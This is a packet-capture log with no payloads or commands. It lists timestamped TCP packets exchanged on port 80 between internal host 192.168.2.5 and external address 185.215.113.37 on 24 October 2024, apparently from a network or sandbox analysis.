Oct 24, 2024 04:57:12.291973114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.291984081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.291990995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.292021036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.292038918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.292056084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.292073011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.292094946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.292113066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.292125940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.292150974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.292174101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.369465113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.369518995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.369558096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.369591951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.369627953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.369663954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.369741917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.369741917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.369828939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.381853104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.381906033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.381946087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.382157087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.382157087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.409410000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.409486055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.409523010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.409558058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.409591913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.409626007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.409672976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.409672976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.409682989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.409737110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.409739017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.409759045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.409773111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.409806967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.409842968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.409876108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.409910917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.409946918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.410044909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.410044909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.410044909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.410125017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.410160065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.410216093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.410250902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.410284996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.410316944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.410355091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.410367012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.410367966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.410367966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.410367966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.410367966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.410367966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.410386086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.410494089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.410495043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.411087036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.411139965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.411164045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.411178112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.411187887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.411214113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.411233902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.411248922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.411272049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.411283970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.411309958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.411355019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.411355972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.411390066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.411417961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.411438942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.488650084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.488759995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.488796949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.488831997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.488868952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.488898993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.488934994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.488930941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.488930941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.488931894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.488931894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.488931894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.489022017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.489022017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.501117945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.501173019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.501213074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.501317978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.501318932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.501318932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.529084921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.529136896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.529174089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.529230118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.529267073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.529300928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.529308081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.529308081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.529308081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.529308081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.529335976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.529346943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.529371023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.529405117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.529438019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.529474974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.529504061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.529586077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.529586077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.529586077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.529586077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.529586077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.529586077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.529587030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.529630899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.529660940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.529817104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.529817104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.531239986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.531318903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.531338930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.531380892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.531403065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.531415939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.531446934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.531467915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.531486034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.531503916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.531532049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.531539917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.531553030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.531574011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.531594992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.531608105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.531630039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.531642914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.531677008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.531707048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.531739950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.531759024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.531774998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.531809092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.531814098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.531830072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.531889915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.532785892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.532843113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.532866001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.532892942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.607783079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.607856035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.607893944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.607929945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.607968092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.608002901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.608023882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.608023882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.608023882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.608023882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.608023882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.608038902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.608117104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.608117104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.620234013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.620285034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.620323896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.620450020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.620450020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.620450020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.648530006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.648605108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.648644924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.648679018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.648714066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.648747921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.648744106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.648744106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.648744106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.648744106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.648788929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.648821115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.648821115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.648827076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.648844004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.648863077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.648889065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.648896933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.648926973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.648937941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.648945093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.648968935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.648997068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.649022102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.649128914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.649188042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.649221897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.649255991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.649315119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.649315119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.649315119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.649315119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.649462938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.649516106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.649549961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.649585009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.649619102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.649640083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.649640083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.649640083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.649640083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.649715900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.649914980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.649950981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.649981022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.650001049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.650007963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.650060892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.650065899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.650095940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.650125980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.650130033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.650142908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.650165081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.650181055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.650199890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.650222063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.650233984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.650264025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.650268078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.650290966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.650330067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.693932056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.693974972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.694257975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.727085114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.727138042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.727174044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.727263927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.727298975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.727365017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.727380037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.727380037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.727380037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.727380037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.727380037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.727421045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.739541054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.739594936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.739635944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.739782095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.739866018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.767796040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.767844915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.767904043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.767940044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.767959118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.767977953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.767987967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.768006086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.768018007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.768053055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.768054008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.768079996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.768110991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.768110991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.768146038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.768179893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.768213987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.768249035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.768284082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.768323898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.768326998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.768326998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.768326998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.768326998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.768326998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.768408060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.768408060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.768480062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.768513918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.768543959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.768547058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.768567085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.768580914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.768599987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.768615961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.768644094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.768665075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.768886089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.768919945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.768955946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.768966913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.769018888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.769018888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.769078970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.769130945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.769145012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.769167900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.769188881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.769201994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.769227982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.769239902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.769248962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.769299984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.769540071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.769573927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.769603014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.769607067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.769622087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.769642115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.769660950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.769689083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.769716978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.769747019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.846548080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.846601009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.846638918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.846677065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.846713066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.846746922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.846780062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.846817017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.846841097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.846842051 CEST	49704	80	192.168.2.5	185.215.113.37
